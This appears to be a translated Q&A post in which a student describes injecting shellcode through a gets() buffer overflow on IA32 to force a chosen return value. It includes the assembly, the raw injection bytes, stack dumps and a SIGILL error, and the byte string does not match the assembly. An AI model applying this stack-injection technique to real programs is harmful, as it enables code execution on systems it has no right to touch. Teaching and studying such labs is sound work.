1

我仅出于教育目的执行缓冲区溢出。我有一个名为的函数,它使用gets 接收来自终端的输入。我想强制此函数将特定值“ 0x524ddf1e”返回给调用它的函数,并使其不知道堆栈已被修改。这是在 IA32 上运行的 C 代码。我的思考过程如下:

1. b8 1e df 4d 52       mov    $0x524ddf1e,%eax
2. bd f8 72 ff ff       mov    $0xffff72f8,%ebp
3. 68 12 8a 04 08       push   $0x8048a12
4. c3                   ret

第 1 行。我想将我的特定值移动到 %eax。

第 2 行。我中断函数并将 ebp 读取为 0xffff72f8,因此我想将其返回以保持堆栈清洁。

第 3 行。我想返回在正确位置调用我的函数。

第 4 行,返回。

我的堆栈冻结进入函数的转储是:

(gdb) x /16wx 0xffff72a4
0xffff72a4: 0x00681fc4  0x00671a62  0x00682ab0  0xf7ffc6b0
*(VVVV 0xffff72b4 is where my exploit code is written VVVV)*
0xffff72b4: 0x00000001  0x00000001  0xffff7304  0x080483c8
0xffff72c4: 0x0804a108  0xffff72f8  0x08048a12  0x00000000
0xffff72d4: 0x00000000  0xffff72f8  0x006ce7d0  0xffffd5b8

%ebp 和 %esp 是:

esp            0xffff72a0   0xffff72a0
ebp            0xffff72c8   0xffff72c8

当我考虑编写原始字节码(稍后被解释)时,我执行以下操作:

b8 1e df 4d 52 db f8 72 ff ff 68 12 8a 04 08 c3 08 a1 04 08 f8 72 ff ff b4 72 ff ff
|---------------exploit code-------------------||------keep same------||-where exploit code starts-|

Keep same是我刚刚决定在上面的堆栈转储中保持原始值与以前相同的地方。

我想我在编写程序集时或在尝试编写要注入的字节码时误解了一些东西。我在 0xffff72b9 看到一个 SIGILL。任何建议表示赞赏。

4

0 回答 0